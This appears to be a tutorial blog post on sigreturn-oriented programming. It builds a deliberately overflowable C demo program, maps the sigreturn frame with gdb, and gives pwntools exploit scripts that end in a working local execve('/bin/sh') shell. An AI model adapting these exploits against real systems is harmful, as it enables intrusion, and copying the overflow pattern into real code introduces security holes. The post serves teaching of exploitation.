Select Page
  1. A Simple Demo Program
  2. Playing with the Gadget
  3. Exploitation


1. A Simple Demo Program

Consider this:

//gcc -Wall -Wextra -fno-stack-protector -ggdb -o demo demo.c

#include<stdio.h>
#include<unistd.h>

int main() {
        puts("I'm unexploitable!");
        char buf[4];
        read(0, buf, 1024);
        return 0;
}
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL

ASLR is turned off for simplicity.


2. Playing with the Gadget

Roughly speaking, sigreturn is a system call responsible for copying values from stack into registers. When a process is interrupted by a signal, its current register values are stored onto stack, then control is transferred to signal handler. After signal handler has finished its job, sigreturn is called to restore the values from stack back to registers, so that the process can continue executing seamlessly.

As its name suggests, SROP is a special kind of ROP technique that abuses the second half of this signal handling routine, by calling sigreturn directly. This technique is considered powerful in a sense that it gives attackers a lot of control like no others, as we will see.

Let’s first take a look at the gadget:

gdb-peda$ print __restore_rt
$1 = {<text variable, no debug info>} 0x7ffff7a22f20 <__restore_rt>
gdb-peda$ x/3i 0x7ffff7a22f20
0x7ffff7a22f20 <__restore_rt>: mov rax,0xf
0x7ffff7a22f27 <__restore_rt+7>: syscall
0x7ffff7a22f29 <__restore_rt+9>: nop DWORD PTR [rax+0x0]

Note that it never returns. This is because as a part of the “context” to be restored, rip is also changed by sigreturn, so there is no need to return separately.

Let’s just fill the stack with some random garbage values and check out what can our sigreturn gadget do. Here’s my first version of exp:

# exp_v0.py
from pwn import *

context.log_level = "DEBUG"
context.terminal = ['tmux', 'splitw', '-h']
elf = context.binary = ELF('./demo')
p = process(elf.path)
gdb.attach(proc.pidof(p)[0])

sigreturn = 0x7ffff7df2140
payload =  "A" * 12
payload += p64(sigreturn)
payload += p64(0xdeadbeefcafebabe) * 100

p.recvuntil("I'm unexploitable!\n")
raw_input()
p.send(payload)
p.interactive()

Before sigreturn is called, we have our register status looks like:

gdb-peda$ i r
rax 0xf 0xf
rbx 0x0 0x0
rcx 0x7ffff7af4081 0x7ffff7af4081
rdx 0x400 0x400
rsi 0x7fffffffe4fc 0x7fffffffe4fc
rdi 0x0 0x0
rbp 0x4141414141414141 0x4141414141414141
rsp 0x7fffffffe510 0x7fffffffe510
r8  0x0 0x0
r9  0x0 0x0
r10 0x555555756010 0x555555756010
r11 0x246 0x246
r12 0x555555554580 0x555555554580
r13 0x7fffffffe5e0 0x7fffffffe5e0
r14 0x0 0x0
r15 0x0 0x0
rip 0x7ffff7df2147 0x7ffff7df2147 <__restore_rt+7>
eflags 0x203 [ CF IF ]
cs 0x33 0x33
ss 0x2b 0x2b
ds 0x0 0x0
es 0x0 0x0
fs 0x0 0x0
gs 0x0 0x0

Then, after sigreturn is called:

Program received signal SIGSEGV (fault address 0x0)
gdb-peda$ i r
rax 0x0 0x0
rbx 0xdeadbeefcafebabe 0xdeadbeefcafebabe
rcx 0xdeadbeefcafebabe 0xdeadbeefcafebabe
rdx 0xdeadbeefcafebabe 0xdeadbeefcafebabe
rsi 0xdeadbeefcafebabe 0xdeadbeefcafebabe
rdi 0xdeadbeefcafebabe 0xdeadbeefcafebabe
rbp 0xdeadbeefcafebabe 0xdeadbeefcafebabe
rsp 0xdeadbeefcafebabe 0xdeadbeefcafebabe
r8  0xdeadbeefcafebabe 0xdeadbeefcafebabe
r9  0xdeadbeefcafebabe 0xdeadbeefcafebabe
r10 0xdeadbeefcafebabe 0xdeadbeefcafebabe
r11 0xdeadbeefcafebabe 0xdeadbeefcafebabe
r12 0xdeadbeefcafebabe 0xdeadbeefcafebabe
r13 0xdeadbeefcafebabe 0xdeadbeefcafebabe
r14 0xdeadbeefcafebabe 0xdeadbeefcafebabe
r15 0xdeadbeefcafebabe 0xdeadbeefcafebabe
rip 0xdeadbeefcafebabe 0xdeadbeefcafebabe
eflags 0x40a96 [ PF AF SF IF OF AC ]
cs 0xbabf 0xbabf
ss 0xdeaf 0xdeaf
ds 0x0 0x0
es 0x0 0x0
fs 0x0 0x0
gs 0x0 0x0

This is absolutely insane.

All the register information is stored on stack as a data structure called ucontext_t, as defined in /usr/include/x86_64-linux-gnu/sys/ucontext.h on my machine:

...
typedef struct ucontext_t
  {
    unsigned long int __ctx(uc_flags);
    struct ucontext_t *uc_link;
    stack_t uc_stack;
    mcontext_t uc_mcontext;
    sigset_t uc_sigmask;
    struct _libc_fpstate __fpregs_mem;
  } ucontext_t;
...

But one may want to learn about this ucontext_t data structure in a more practical way. By filling the stack with a sequence of 64-bit numbers, we can modify our exp like this:

# exp_v1.py
from pwn import *

context.log_level = "DEBUG"
context.terminal = ['tmux', 'splitw', '-h']
elf = context.binary = ELF('./demo')
p = process(elf.path)
gdb.attach(proc.pidof(p)[0])

sigreturn = 0x7ffff7df2140
payload =  "A" * 12
payload += p64(sigreturn)

arr = range(100)
payload += ''.join([p64(x) for x in arr])

p.recvuntil("I'm unexploitable!\n")
raw_input()
p.send(payload)
p.interactive()

So when our sequenced numbers get copied into registers:

Program received signal SIGSEGV (fault address 0x0)
gdb-peda$ i r
rax 0x0 0x0
rbx 0x10 0x10
rcx 0x13 0x13
rdx 0x11 0x11
rsi 0xe 0xe
rdi 0xd 0xd
rbp 0xf 0xf
rsp 0x14 0x14
r8  0x5 0x5
r9  0x6 0x6
r10 0x7 0x7
r11 0x8 0x8
r12 0x9 0x9
r13 0xa 0xa
r14 0xb 0xb
r15 0xc 0xc
rip 0x15 0x15
eflags 0x216 [ PF AF IF ]
cs 0x17 0x17
ss 0x3 0x3
ds 0x0 0x0
es 0x0 0x0
fs 0x0 0x0
gs 0x0 0x0

Now we know “what is where”: If we want to change the value of rip, for example, we simply change the 0x15th value of our arr array in the exp.


3. Exploitation

By that, we can do basically whatever we want. Let’s call execve() and get a shell. Well, why not?

In order to do that, we obviously need to control rdi, rsi, rdx, as well as rip. However, some other registers, including rsp, eflags, cs and ss, also need to be containing proper values. I have no idea what kind of values should eflags, cs or ss should be containing, so why not learn from a legitimate scenario?

//gcc -Wall -Wextra -ggdb learn.c -o learn

#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <unistd.h>

void myhandler(int num) {
  printf("myhandler: %i\n", num);
}

int main(void) {
  signal(1, myhandler);
  kill(getpid(), 1);

  return 0;
}

After sigreturn, this is how the register status looks like:

gdb-peda$ i r
rax 0x0 0x0
rbx 0x0 0x0
rcx 0x7ffff7a23187 0x7ffff7a23187
rdx 0x0 0x0
rsi 0x1 0x1
rdi 0x10a9 0x10a9
rbp 0x7fffffffe4e0 0x7fffffffe4e0
rsp 0x7fffffffe4d8 0x7fffffffe4d8
r8  0x7fffffffe430 0x7fffffffe430
r9  0x7ffff7dd0d80 0x7ffff7dd0d80
r10 0x8 0x8
r11 0x206 0x206
r12 0x555555554610 0x555555554610
r13 0x7fffffffe5c0 0x7fffffffe5c0
r14 0x0 0x0
r15 0x0 0x0
rip 0x7ffff7a23187 0x7ffff7a23187 <kill+7>
eflags 0x206 [ PF IF ]
cs 0x33 0x33
ss 0x2b 0x2b
ds 0x0 0x0
es 0x0 0x0
fs 0x0 0x0
gs 0x0 0x0

…with eflags, cs and ss set to 0x206, 0x33 and 0x2b, correspondingly. I decided to use these values, too.

As for rsp, I hope somewhere near the end of the stack will do. I chose 0x7fffffffe000. Other values are simply set to 0.

So here comes my final version of exp:

# exp_v2.py
from pwn import *

# context.log_level = "DEBUG"
context.terminal = ['tmux', 'splitw', '-h']
elf = context.binary = ELF('./demo')
p = process(elf.path)
# gdb.attach(proc.pidof(p)[0])

sigreturn = 0x7ffff7df2140
payload =  "A" * 12
payload += p64(sigreturn)

arr = [0] * 100
arr[0x15] = 0x7ffff7ac8e30  # rip = &execve()
arr[0xd]  = 0x7ffff7b97e9a  # rdi = &'/bin/sh'
arr[0xe]  = 0               # rsi = NULL
arr[0x11] = 0               # rdx = NULL
arr[0x14] = 0x7fffffffe000  # rsp = somewhere near the end of the stack
arr[0x16] = 0x206           # eflags
arr[0x17] = 0x33            # cs
arr[0x3]  = 0x2b            # ss
payload += ''.join([p64(x) for x in arr])

p.recvuntil("I'm unexploitable!\n")
# raw_input()
p.send(payload)
p.interactive()

Let’s try it out:

peilin@PWN:~/expr/srop$ file demo
demo: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=6499ea2d05cc2cdfaf2c7faa6cbba941165c808f, with debug_info, not stripped
peilin@PWN:~/expr/srop$ cat /proc/sys/kernel/randomize_va_space
0
peilin@PWN:~/expr/srop$ python exp_v2.py
[*] ‘/home/user/expr/srop/demo’
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process ‘/home/user/expr/srop/demo’: pid 4304
[*] Switching to interactive mode
$ whoami
peilin

We’ve got a shell! 🙂